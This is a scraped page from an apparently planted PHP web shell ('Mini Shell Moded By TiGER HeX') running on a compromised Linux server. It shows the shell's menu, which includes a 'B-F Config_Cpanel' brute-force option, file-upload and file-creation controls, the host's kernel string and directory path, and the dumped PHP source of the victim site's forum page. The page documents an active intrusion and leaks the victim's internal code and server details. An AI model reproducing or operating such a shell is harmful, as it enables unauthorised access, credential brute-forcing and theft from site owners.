Mini Shell Moded By TiGER HeX
Home
||
Turbo Force
||
B-F Config_Cpanel
Current Path :
/
mnt
/
volume_sfo2_01
/
50mmla
/
Linux midnightridazz 4.19.0-11-cloud-amd64 #1 SMP Debian 4.19.146-1 (2020-09-17) x86_64
Upload File :
New :
File
Dir
/mnt/volume_sfo2_01/50mmla/forums_workingads.php
<?php include_once('includes/static/configure.php'); include_once('includes/static/util.php'); include_once('includes/static/dbcon.php'); include_once('includes/static/gdimg.php'); include_once('includes/static/sessions.php'); include_once('includes/appTop.php'); ?> <? $pgnum = 1; if(isset($_REQUEST['pgnum'])){ $pgnum = $_REQUEST['pgnum']; } if(isset($_REQUEST['topicId'])){ $topic_id = $_REQUEST['topicId']; }else{ //get the latest topic id $sql ="SELECT topic_id FROM 50mm_forum_topics ORDER BY last_reply DESC LIMIT 1"; if( !($result = $db->sql_query($sql)) ){ $sql_error = $db->sql_error(); die($sql_error['message']); } $row = $db->sql_fetchrow($result); $topic_id = $row['topic_id']; } $pg_name = basename($_SERVER['PHP_SELF']); include_once('includes/header.php'); //content $sql = "SELECT page_body FROM 50mm_pages WHERE page_name ='forums'"; if( !($result = $db->sql_query($sql)) ){ $sql_error = $db->sql_error(); die($sql_error['message']); } $row = $db->sql_fetchrow($result); echo stripslashes($row['page_body']); ?> <table border="0" cellspacing="0" cellpadding="0"> <tr valign="top"> <td> <? include_once('includes/forumTopics.php'); include_once('includes/forumNav.php'); ?> <br> <!-- AdRevenue Ad Code --> <script src="http://www.50mmlosangeles.com/advertise/index.php?section=serve&id=39&output=js"></script> <a href="http://www.50mmlosangeles.com/advertise/index.php">advertise here...</a></td> <td width="10"></td> <td> Thread Box:<br> <!-- begin forum content --> <?include_once('includes/forumThreads.php')?> <!-- end forum content --> ....</td> </tr> </table> <br> <? include_once('includes/onlineUsers.php'); include_once('includes/footer.php'); include_once('includes/appBottom.php'); ?>